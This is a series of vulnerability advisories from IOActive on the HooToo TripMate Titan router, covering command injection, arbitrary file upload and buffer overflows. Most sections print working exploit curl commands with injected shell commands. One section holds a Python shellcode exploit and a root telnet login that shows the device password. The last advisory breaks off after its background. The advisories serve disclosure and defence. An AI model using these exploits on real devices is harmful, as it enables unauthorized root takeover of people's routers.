IOActive Security Advisory

Title	Unauthenticated Remote Code Execution in /sysfirm.csp
Severity	Critical – CVSSv3 Score 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C)
Discovered by	Tao Sauvage
Advisory Date	April 23,2018

Affected Products

Confirmed:

- HooToo TripMate Titan HT-TM05 (firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080)

Potential

- HooToo TripMate HT-TM01 (firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046)
- HooToo TripMate Nano HT-TM02 (firmware fw-WiFiPort-HooToo-TM02-2.000.072)
- HooToo TripMate Mini HT-TM03 (firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016)
- HooToo TripMate Elite HT-TM04 (firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008)
- HooToo TripMate Elite U HT-TM06 (firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048)

Impact

HT-TM05 is vulnerable to unauthenticated remote code execution in the /sysfirm.csp CGI endpoint, which allows an attacker to upload an arbitrary shell script that will be executed with root privileges on the device.

Background

HooToo Tripmate Titan HT-TM05 is a portable router created by HooToo, a leading consumer electronics brand operating around the globe. It can be used to host and stream media files and has a 10400mAh battery included that can recharge up to 3 smartphones.

Using reverse engineering, IOActive focused its effort against HooToo's `ioos` custom CGI server, which is bound to port 81 on all interfaces by default on HT-TM05. Multiple critical

vulnerabilities were identified that could be used by unauthenticated attackers to fully compromise the router.

IOActive believes that all HooToo routers using `ioos` are vulnerable to most, if not all of the vulnerabilities identified against the HT-TM05 model.

Technical Details

The following curl command will upload a shell script in the file body parameter that will enable telnet on the router using the `sysupfileform` function in the name body parameter:

```
curl -i -s -k  -X $'POST' -H $'AAAA: BBBB' -H $'Content-Type:
multipart/form-data; boundary=----------43' -H $'User-Agent:
Windows' --data-binary $'------------43\x0d\x0aContent-Disposition:
form-data; name=\"file\";
filename=\"AAAA\"\x0d\x0a\x0d\x0a/etc/init.d/teld.sh start\x0d\x0a-
-----------43\x0d\x0aContent-Disposition: form-data;
name=\"fname\"\x0d\x0a\x0d\x0asysupfileform\x0d\x0a------------43--
' $'http://10.10.10.254:81/sysfirm.csp'
```

Mitigation

No mitigation is currently available, until the vendor publishes a firmware update fixing the vulnerability.

A radical temporary solution would be to kill the `ioos` binary. While the router would remain available, its web interface (on both port 80 and 81) would become unusable, preventing users from accessing advanced features. The following `curl` command may be used to kill `ioos`:

```
curl -i -s -k -X $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=open_forwarding&ip=`/etc/init.d/web%20stop`'
```

Note that the `curl` command would need to be run every time the router boots.

Timeline[TS1]

October 06, 2017:	IOActive discovers vulnerability and notifies HooToo.
October 12, 2017:	Attempt to contact HooToo CEO over LinkedIn - No response.
October 16, 2017:	Email sent to support@hootoo.com - No response.
November 6, 2017:	Email sent to support@hootoo.com - No response.
January 29, 2018:	Email sent to support@hootoo.com – Response January 30 (see below).

January 29, 2018: Called HooToo Customer Service – spoke with customer support representative David, giving notice of vulnerabilities found.

January 29, 2018: Called HooToo Tech Support – spoke with customer support representative Scotty, giving notice of vulnerabilities found.

January 29, 2018: Email sent to bruce.wang@sunvalley.com.cn per Bruce Wang's request via phone call with Tech Support – No response to email.

January 30, 2018: Receive email from HooToo Customer Care representative Judith requesting IOActive update to same firmware in which IOActive found vulnerabilities.

IOActive Security Advisory

Title	Multiple Instances of Unauthenticated Operating System Command Injection in open_forwarding
Severity	Critical – CVSSv3 Score 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C)
Discovered by	Tao Sauvage
Advisory Date	April 23, 2018

Affected Products

Confirmed:

- HooToo TripMate Titan HT-TM05 (firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080)

Potential

- HooToo TripMate HT-TM01 (firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046)
- HooToo TripMate Nano HT-TM02 (firmware fw-WiFiPort-HooToo-TM02-2.000.072)
- HooToo TripMate Mini HT-TM03 (firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016)
- HooToo TripMate Elite HT-TM04 (firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008)
- HooToo TripMate Elite U HT-TM06 (firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048)

Impact

HooToo Tripmate Titan HT-TM05 is vulnerable to multiple instances of unauthenticated Operating System injection in the open_forwarding CGI function, which allows an unauthenticated attacker execute arbitrary commands with root privileges on the device.

Background

HooToo Tripmate Titan HT-TM05 is a portable router created by HooToo, a leading consumer electronics brand operating around the globe. It can be used to host and stream media files and has a 10400mAh battery included that can recharge up to 3 smartphones.

Using reverse engineering, IOActive focused its effort against HooToo's `ioos` custom CGI server, which is bound to port 81 on all interfaces by default on HT-TM05. Multiple critical

vulnerabilities were identified that could be used by unauthenticated attackers to fully compromise the router.

IOActive believes that all HooToo routers using `ioos` are vulnerable to most, if not all of the vulnerabilities identified against the HT-TM05 model.

Technical Details

The following curl command will enable telnet on the router by exploiting the OS command injection in the ip parameter:

```
curl -i -s -k  -X $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=open_forwarding&ip=`/etc/init.d/teld.sh%20stop`'
```

The following curl command will enable telnet on the router by exploiting the OS command injection in the ip parameter when using the close_ip flag:

```
curl -i -s -k  -X $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=open_forwarding&flag=close_iosip&ip=`/etc/init.d/teld.sh%20start
`'
```

Mitigation

No mitigation is currently available, until the vendor publishes a firmware update fixing the vulnerability.

A radical temporary solution would be to kill the `ioos` binary. While the router would remain available, its web interface (on both port 80 and 81) would become unusable, preventing users from accessing advanced features. The following `curl` command may be used to kill `ioos`:

```
curl -i -s -k -X $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=open_forwarding&ip=`/etc/init.d/web%20stop`'
```

Note that the `curl` command would need to be run every time the router boots.

Timeline[TS2]

October 06, 2017:	IOActive discovers vulnerability and notifies HooToo.
October 12, 2017:	Attempt to contact HooToo CEO over LinkedIn - No response.
October 16, 2017:	Email sent to support@hootoo.com - No response.
November 6, 2017:	Email sent to support@hootoo.com - No response.
January 29, 2018:	Email sent to support@hootoo.com – Response January 30 (see below).

January 29, 2018: Called HooToo Customer Service – spoke with customer support representative David, giving notice of vulnerabilities found.

January 29, 2018: Called HooToo Tech Support – spoke with customer support representative Scotty, giving notice of vulnerabilities found.

January 29, 2018: Email sent to bruce.wang@sunvalley.com.cn per Bruce Wang's request via phone call with Tech Support – No response to email.

January 30, 2018: Receive email from HooToo Customer Care representative Judith requesting IOActive update to same firmware in which IOActive found vulnerabilities.

IOActive Security Advisory

Title	Multiple Instances of Unauthenticated Operating System Command Injection in mac_table
Severity	Critical – CVSSv3 Score 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C)
Discovered by	Tao Sauvage
Advisory Date	April 23, 2018

Affected Products

Confirmed:

- HooToo TripMate Titan HT-TM05 (firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080)

Potential

- HooToo TripMate HT-TM01 (firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046)
- HooToo TripMate Nano HT-TM02 (firmware fw-WiFiPort-HooToo-TM02-2.000.072)
- HooToo TripMate Mini HT-TM03 (firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016)
- HooToo TripMate Elite HT-TM04 (firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008)
- HooToo TripMate Elite U HT-TM06 (firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048)

Impact

HooToo Tripmate Titan HT-TM05 is vulnerable to multiple instances of unauthenticated Operating System injection in the mac_table CGI function, which allows an unauthenticated attacker execute arbitrary commands with root privileges on the device.

Background

HooToo Tripmate Titan HT-TM05 is a portable router created by HooToo, a leading consumer electronics brand operating around the globe. It can be used to host and stream media files and has a 10400mAh battery included that can recharge up to 3 smartphones.

Using reverse engineering, IOActive focused its effort against HooToo's `ioos` custom CGI server, which is bound to port 81 on all interfaces by default on HT-TM05. Multiple critical

vulnerabilities were identified that could be used by unauthenticated attackers to fully compromise the router.

IOActive believes that all HooToo routers using `ioos` are vulnerable to most, if not all of the vulnerabilities identified against the HT-TM05 model.

Technical Details

The following curl command will enable telnet on the router by exploiting the OS command injection in the mac parameter when using the close_forever flag:

```
curl -i -s -k  -X $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=mac_table&flag=close_forever&mac=`/etc/init.d/teld.sh%20start`'
```

The following curl command will enable telnet on the router by exploiting the OS command injection in the mac parameter when using the close_forever_cancel flag:

```
curl -i -s -k  -X $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=mac_table&flag=close_forever_cancel&mac=`/etc/init.d/teld.sh%20s
tart`'
```

The following curl command will enable telnet on the router by exploiting the OS command injection in the mac parameter when using the open_once flag:

```
curl -i -s -k  -X $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=mac_table&flag=open_once&mac=`/etc/init.d/teld.sh%20start`'
```

The following curl command will enable telnet on the router by exploiting the OS command injection in the mac parameter when using the close_once flag:

```
curl -i -s -k  -X $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=mac_table&flag=close_once&mac=`/etc/init.d/teld.sh%20start`'
```

Mitigation

No mitigation is currently available, until the vendor publishes a firmware update fixing the vulnerability.

A radical temporary solution would be to kill the `ioos` binary. While the router would remain available, its web interface (on both port 80 and 81) would become unusable, preventing users from accessing advanced features. The following `curl` command may be used to kill `ioos`:

```
curl        -i        -s        -k                 -X        $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=open_forwarding&ip=`/etc/init.d/web%20stop`'
```

Note that the `curl` command would need to be run every time the router boots.

Timeline[TS3]

October 06, 2017: IOActive discovers vulnerability and notifies HooToo.

October 12, 2017: Attempt to contact HooToo CEO over LinkedIn - No response.

October 16, 2017: Email sent to support@hootoo.com - No response.

November 6, 2017: Email sent to support@hootoo.com - No response.

January 29, 2018: Email sent to support@hootoo.com – Response January 30 (see below).

January 29, 2018: Called HooToo Customer Service – spoke with customer support representative David, giving notice of vulnerabilities found.

January 29, 2018: Called HooToo Tech Support – spoke with customer support representative Scotty, giving notice of vulnerabilities found.

January 29, 2018: Email sent to bruce.wang@sunvalley.com.cn per Bruce Wang’s request via phone call with Tech Support – No response to email.

January 30, 2018: Receive email from HooToo Customer Care representative Judith requesting IOActive update to same firmware in which IOActive found vulnerabilities.

IOActive Security Advisory

Title	Unauthenticated Operating System Command Injection in /sysfirm.csp
Severity	Critical – CVSSv3 Score 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C)
Discovered by	Tao Sauvage
Advisory Date	April 23, 2018

Affected Products

Confirmed:

- HooToo TripMate Titan HT-TM05 (firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080)

Potential

- HooToo TripMate HT-TM01 (firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046)
- HooToo TripMate Nano HT-TM02 (firmware fw-WiFiPort-HooToo-TM02-2.000.072)
- HooToo TripMate Mini HT-TM03 (firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016)
- HooToo TripMate Elite HT-TM04 (firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008)
- HooToo TripMate Elite U HT-TM06 (firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048)

Impact

HooToo Tripmate Titan HT-TM05 is vulnerable to an unauthenticated Operating System injection in the /sysfirm.csp CGI endpoint, which allows an unauthenticated attacker execute arbitrary commands with root privileges on the device.

Background

HooToo Tripmate Titan HT-TM05 is a portable router created by HooToo, a leading consumer electronics brand operating around the globe. It can be used to host and stream media files and has a 10400mAh battery included that can recharge up to 3 smartphones.

Using reverse engineering, IOActive focused its effort against HooToo's `ioos` custom CGI server, which is bound to port 81 on all interfaces by default on HT-TM05. Multiple critical

vulnerabilities were identified that could be used by unauthenticated attackers to fully compromise the router.

IOActive believes that all HooToo routers using `ioos` are vulnerable to most, if not all of the vulnerabilities identified against the HT-TM05 model.

Technical Details

The following curl command will enable telnet on the router by exploiting the OS command injection in the filename body parameter:

```
curl -i -s -k  -X $'POST' -H $'AAAA: BBBB' -H $'Content-Type:
multipart/form-data; boundary=----------43' -H $'User-Agent:
Windows' --data-binary $'------------43\x0d\x0aContent-Disposition:
form-data; name=\"file\";
filename=\";telnetd\"\x0d\x0a\x0d\x0aAAAA\x0d\x0a------------
43\x0d\x0aContent-Disposition: form-data;
name=\"fname\"\x0d\x0a\x0d\x0asysresumefileform\x0d\x0a------------
43--' $'http://10.10.10.254:81/sysfirm.csp'
```

Mitigation

No mitigation is currently available, until the vendor publishes a firmware update fixing the vulnerability.

A radical temporary solution would be to kill the `ioos` binary. While the router would remain available, its web interface (on both port 80 and 81) would become unusable, preventing users from accessing advanced features. The following `curl` command may be used to kill `ioos`:

```
curl -i -s -k -X $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=open_forwarding&ip=`/etc/init.d/web%20stop`'
```

Note that the `curl` command would need to be run every time the router boots.

Timeline[TS4]

October 06, 2017:	IOActive discovers vulnerability and notifies HooToo.
October 12, 2017:	Attempt to contact HooToo CEO over LinkedIn - No response.
October 16, 2017:	Email sent to support@hootoo.com - No response.
November 6, 2017:	Email sent to support@hootoo.com - No response.
January 29, 2018:	Email sent to support@hootoo.com – Response January 30 (see below).
January 29, 2018:	Called HooToo Customer Service – spoke with customer support representative David, giving notice of vulnerabilities found.

January 29, 2018: Called HooToo Tech Support – spoke with customer support representative Scotty, giving notice of vulnerabilities found.

January 29, 2018: Email sent to bruce.wang@sunvalley.com.cn per Bruce Wang's request via phone call with Tech Support – No response to email.

January 30, 2018: Receive email from HooToo Customer Care representative Judith requesting IOActive update to same firmware in which IOActive found vulnerabilities.

IOActive Security Advisory

Title	Unauthenticated Arbitrary File Upload
Severity	Critical – CVSSv3 Score 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C)
Discovered by	Tao Sauvage
Advisory Date	April 23, 2018

Affected Products

Confirmed:

- HooToo TripMate Titan HT-TM05 (firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080)

Potential

- HooToo TripMate HT-TM01 (firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046)
- HooToo TripMate Nano HT-TM02 (firmware fw-WiFiPort-HooToo-TM02-2.000.072)
- HooToo TripMate Mini HT-TM03 (firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016)
- HooToo TripMate Elite HT-TM04 (firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008)
- HooToo TripMate Elite U HT-TM06 (firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048)

Impact

HooToo Tripmate Titan HT-TM05 is vulnerable to an arbitrary file upload vulnerability, which allows an unauthenticated attacker to upload any file anywhere on the router and gain full access to the device.

Background

HooToo Tripmate Titan HT-TM05 is a portable router created by HooToo, a leading consumer electronics brand operating around the globe. It can be used to host and stream media files and has a 10400mAh battery included that can recharge up to 3 smartphones.

Using reverse engineering, IOActive focused its effort against HooToo's `ioos` custom CGI server, which is bound to port 81 on all interfaces by default on HT-TM05. Multiple critical

vulnerabilities were identified that could be used by unauthenticated attackers to fully compromise the router.

IOActive believes that all HooToo routers using `ioos` are vulnerable to most, if not all of the vulnerabilities identified against the HT-TM05 model.

Technical Details

The following curl command will override the `/etc/shadow` file on the router to reset the admin and the root password to ‘’ (empty):

```
curl -i -s -k  -X $'POST' -H $'Content-Type: multipart/form-data;
boundary=----------42' -H $'User-Agent: Windows' --data-binary $'--
----------42\x0d\x0aContent-Disposition: form-data; name=\"AAAA\";
filename=\"../etc/shadow\"\x0d\x0a\x0d\x0aroot:$1$QlrmwRgO$c0iSI2eu
V.U1Wx6yBkDBI.:15386:0:99999:7:::\x0d\x0aadmin:$1$QlrmwRgO$c0iSI2eu
V.U1Wx6yBkDBI.:13341:0:99999:7:::\x0d\x0a------------42'
$'http://10.10.10.254:81/protocol.csp'
```

Mitigation

No mitigation is currently available, until the vendor publishes a firmware update fixing the vulnerability.

A radical temporary solution would be to kill the `ioos` binary. While the router would remain available, its web interface (on both port 80 and 81) would become unusable, preventing users from accessing advanced features. The following `curl` command may be used to kill `ioos`:

```
curl -i -s -k -X $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=open_forwarding&ip=`/etc/init.d/web%20stop`'
```

Note that the `curl` command would need to be run every time the router boots.

Timeline[TS5]

October 06, 2017:	IOActive discovers vulnerability and notifies HooToo.
October 12, 2017:	Attempt to contact HooToo CEO over LinkedIn - No response.
October 16, 2017:	Email sent to support@hootoo.com - No response.
November 6, 2017:	Email sent to support@hootoo.com - No response.
January 29, 2018:	Email sent to support@hootoo.com – Response January 30 (see below).
January 29, 2018:	Called HooToo Customer Service – spoke with customer support representative David, giving notice of vulnerabilities found.

January 29, 2018: Called HooToo Tech Support – spoke with customer support representative Scotty, giving notice of vulnerabilities found.

January 29, 2018: Email sent to bruce.wang@sunvalley.com.cn per Bruce Wang's request via phone call with Tech Support – No response to email.

January 30, 2018: Receive email from HooToo Customer Care representative Judith requesting IOActive update to same firmware in which IOActive found vulnerabilities.

IOActive Security Advisory

Title	Unauthenticated Buffer Overflow in mac_table
Severity	Critical – CVSSv3 Score 9.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RC:C)
Discovered by	Tao Sauvage
Advisory Date	April 23, 2018

Affected Products

Confirmed:

- HooToo TripMate Titan HT-TM05 (firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080)

Potential

- HooToo TripMate HT-TM01 (firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046)
- HooToo TripMate Nano HT-TM02 (firmware fw-WiFiPort-HooToo-TM02-2.000.072)
- HooToo TripMate Mini HT-TM03 (firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016)
- HooToo TripMate Elite HT-TM04 (firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008)
- HooToo TripMate Elite U HT-TM06 (firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048)

Impact

HooToo Tripmate Titan HT-TM05 is vulnerable to a stack-based buffer overflow, which allows an unauthenticated attacker to take control of the CGI server and execute arbitrary commands as root via specially crafted mac_table request.

Background

HooToo Tripmate Titan HT-TM05 is a portable router created by HooToo, a leading consumer electronics brand operating around the globe. It can be used to host and stream media files and has a 10400mAh battery included that can recharge up to 3 smartphones.

Using reverse engineering, IOActive focused its effort against HooToo's `ioos` custom CGI server, which is bound to port 81 on all interfaces by default on HT-TM05. Multiple critical

vulnerabilities were identified that could be used by unauthenticated attackers to fully compromise the router.

IOActive believes that all HooToo routers using `ioos` are vulnerable to most, if not all of the vulnerabilities identified against the HT-TM05 model.

Technical Details

The following python script will trigger the stack-based buffer overflow, hijack the execution flow and enable telnet on the device.

It should be noted that the exploit presented below is relying on a hardcoded offset that may change depending on the device model and is not 100% reliable. Furthermore, the exploit can only be run once as it will crash the CGI server.

File exploit.py:

```
import struct
import requests


HOST = '10.10.10.254'
PORT = 81


# Shellcode do_cmd('/etc/init.d/teld.sh start')
"""
   0:   3c040054   lui   a0,0x53       # high '/etc/init.d/teld.sh
start'
   4:   34846230   ori   a0,a0,0x3580  # low '/etc/init.d/teld.sh
start'
   8:   3c190041   lui   t9,0x41       # high 'do_cmd'
   c:   37390cd4   ori   t9,t9,0xcd4   # low 'do_cmd'
  10:   0320f809   jalr  t9
  14:   00000000   nop                    # filler for branch delay
slot
"""
shellcode = '\x00\x00'
shellcode += '\x00' * 16 * 15  # NOP sled
shellcode += struct.pack('<I', 0x3c040053)
shellcode += struct.pack('<I', 0x34843580)
shellcode += struct.pack('<I', 0x3c190041)
shellcode += struct.pack('<I', 0x37390cd4)
shellcode += struct.pack('<I', 0x0320f809)
shellcode += '\x00' * 8  # filler for branch delay stop + junk

# Hardcoded offset that might change
offset_shellcode = 0x5ae110
bof = 'A' * 2049
# NULL-byte added by strcpy
bof += struct.pack('<I', offset_shellcode).replace('\x00', '')

try:
    r = requests.post(
        'http://{}:{}/protocol.csp'.format(HOST, PORT),
        params={'function': 'set', 'fname': 'security', 'opt':
'mac_table', 'flag': 'open_once', 'mac': bof},
        data=shellcode)
except requests.exceptions.ConnectionError:
    pass
```

Running the exploit:

```
$ telnet 10.10.10.254
Trying 10.10.10.254...
telnet: connect to address 10.10.10.254: Connection refused
telnet: Unable to connect to remote host
$ python exploit.py
$ telnet 10.10.10.254
Trying 10.10.10.254...
Connected to 10.10.10.254.
Escape character is '^]'.
HT-TM05 login: root
Password: 20080826
login: can't chdir to home directory '/root'
#
```

It should be noted that the exploit relies on a hardcoded offset that might change between versions and sometimes change between reboots. When the exploit fails, the CGI server will crash but the telnet will not be opened.

Mitigation

No mitigation is currently available, until the vendor publishes a firmware update fixing the vulnerability.

A radical temporary solution would be to kill the `ioos` binary. While the router would remain available, its web interface (on both port 80 and 81) would become unusable, preventing users from accessing advanced features. The following `curl` command may be used to kill `ioos`:

```
curl -i -s -k -X $'GET' $'http://10.10.10.254:81/protocol.csp?function=set&fname=security&opt=open_forwarding&ip=`/etc/init.d/web%20stop`'
```

Note that the `curl` command would need to be run every time the router boots.

Timeline[TS6]

October 06, 2017: IOActive discovers vulnerability and notifies HooToo.

October 12, 2017: Attempt to contact HooToo CEO over LinkedIn - No response.

October 16, 2017: Email sent to support@hootoo.com - No response.

November 6, 2017: Email sent to support@hootoo.com - No response.

January 29, 2018: Email sent to support@hootoo.com – Response January 30 (see below).

January 29, 2018: Called HooToo Customer Service – spoke with customer support representative David, giving notice of vulnerabilities found.

January 29, 2018: Called HooToo Tech Support – spoke with customer support representative Scotty, giving notice of vulnerabilities found.

January 29, 2018: Email sent to bruce.wang@sunvalley.com.cn per Bruce Wang’s request via phone call with Tech Support – No response to email.

January 30, 2018: Receive email from HooToo Customer Care representative Judith requesting IOActive update to same firmware in which IOActive found vulnerabilities.

IOActive Security Advisory

Title	Unauthenticated Buffer Overflow in open_forwarding
Severity	Critical – CVSSv3 Score 9.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RC:C)
Discovered by	Tao Sauvage
Advisory Date	April 23, 2018

Affected Products

Confirmed:

- HooToo TripMate Titan HT-TM05 (firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080)

Potential

- HooToo TripMate HT-TM01 (firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046)
- HooToo TripMate Nano HT-TM02 (firmware fw-WiFiPort-HooToo-TM02-2.000.072)
- HooToo TripMate Mini HT-TM03 (firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016)
- HooToo TripMate Elite HT-TM04 (firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008)
- HooToo TripMate Elite U HT-TM06 (firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048)

Impact

HooToo Tripmate Titan HT-TM05 is vulnerable to a stack-based buffer overflow, which could allow an unauthenticated attacker to take control of the CGI server and execute arbitrary commands as root via specially crafted open_forwarding request.

Background

HooToo Tripmate Titan HT-TM05 is a portable router created by HooToo, a leading consumer electronics brand operating around the globe. It can be used to host and stream media files and has a 10400mAh battery included that can recharge up to 3 smartphones.

Using reverse engineering, IOActive focused its effort against HooToo's `ioos` custom CGI server, which is bound to port 81 on all interfaces by default on HT-TM05. Multiple critical

vulnerabilities were identified that could be used by unauthenticated attackers to fully compromise the router.

IOActive believes that all HooToo routers using `ioos` are vulnerable to most, if not all of the vulnerabilities identified against the HT-TM05 model.

Technical Details

The following curl command will trigger the stack-based buffer overflow and override the program counter with ‘BBBB’:

```
curl -i -s -k  -X $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=open_forwarding&flag=close_iosip&ip=AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB'
```

Using gdb:

```
gdb-peda$ c
Continuing.

Program received signal SIGBUS, Bus error.
Warning: not running or target is remote
0x42424242 in ?? ()
gdb-peda$ i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 00000000 00000000 2b7f28a0 00000000 00000000 7fa5ca48 00000001
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000000 00001012 8106fcb8 00000000 00000001 fff7ffff 00200200 00100100
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  00594668 00407ef0 00000000 ffffffff 2bacba80 7fa5f5a4 00407e60 00000002
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000000 2b7a3b34 00000000 00000000 00596c90 7fa5cf18 004080d0 42424242
        status       lo       hi badvaddr    cause       pc
      0100ff13 8a817700 00000482 42424242 50800010 42424242
          fcsr      fir      hi1      lo1      hi2      lo2      hi3      lo3
      00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
        dspctl  restart
      00000000 00000000
gdb-peda$
```

Mitigation

No mitigation is currently available, until the vendor publishes a firmware update fixing the vulnerability.

A radical temporary solution would be to kill the `ioos` binary. While the router would remain available, its web interface (on both port 80 and 81) would become unusable, preventing users from accessing advanced features. The following `curl` command may be used to kill `ioos`:

```
curl -i -s -k -X $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=open_forwarding&ip=`/etc/init.d/web%20stop`'
```

Note that the `curl` command would need to be run every time the router boots.

Timeline[TS7]

October 06, 2017: IOActive discovers vulnerability and notifies HooToo.

October 12, 2017: Attempt to contact HooToo CEO over LinkedIn - No response.

October 16, 2017: Email sent to support@hootoo.com - No response.

November 6, 2017: Email sent to support@hootoo.com - No response.

January 29, 2018: Email sent to support@hootoo.com – Response January 30 (see below).

January 29, 2018: Called HooToo Customer Service – spoke with customer support representative David, giving notice of vulnerabilities found.

January 29, 2018: Called HooToo Tech Support – spoke with customer support representative Scotty, giving notice of vulnerabilities found.

January 29, 2018: Email sent to bruce.wang@sunvalley.com.cn per Bruce Wang’s request via phone call with Tech Support – No response to email.

January 30, 2018: Receive email from HooToo Customer Care representative Judith requesting IOActive update to same firmware in which IOActive found vulnerabilities.

IOActive Security Advisory

Title	Unauthenticated Buffer Overflow in pwdchk
Severity	Critical – CVSSv3 Score 9.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RC:C)
Discovered by	Tao Sauvage
Advisory Date	April 23, 2018

Affected Products

Confirmed:

- HooToo TripMate Titan HT-TM05 (firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080)

Potential

- HooToo TripMate HT-TM01 (firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046)
- HooToo TripMate Nano HT-TM02 (firmware fw-WiFiPort-HooToo-TM02-2.000.072)
- HooToo TripMate Mini HT-TM03 (firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016)
- HooToo TripMate Elite HT-TM04 (firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008)
- HooToo TripMate Elite U HT-TM06 (firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048)

Impact

HooToo Tripmate Titan HT-TM05 is vulnerable to a stack-based buffer overflow, which could allow an unauthenticated attacker to take control of the CGI server and execute arbitrary commands as root via specially crafted login request.

Background

HooToo Tripmate Titan HT-TM05 is a portable router created by HooToo, a leading consumer electronics brand operating around the globe. It can be used to host and stream media files and has a 10400mAh battery included that can recharge up to 3 smartphones.

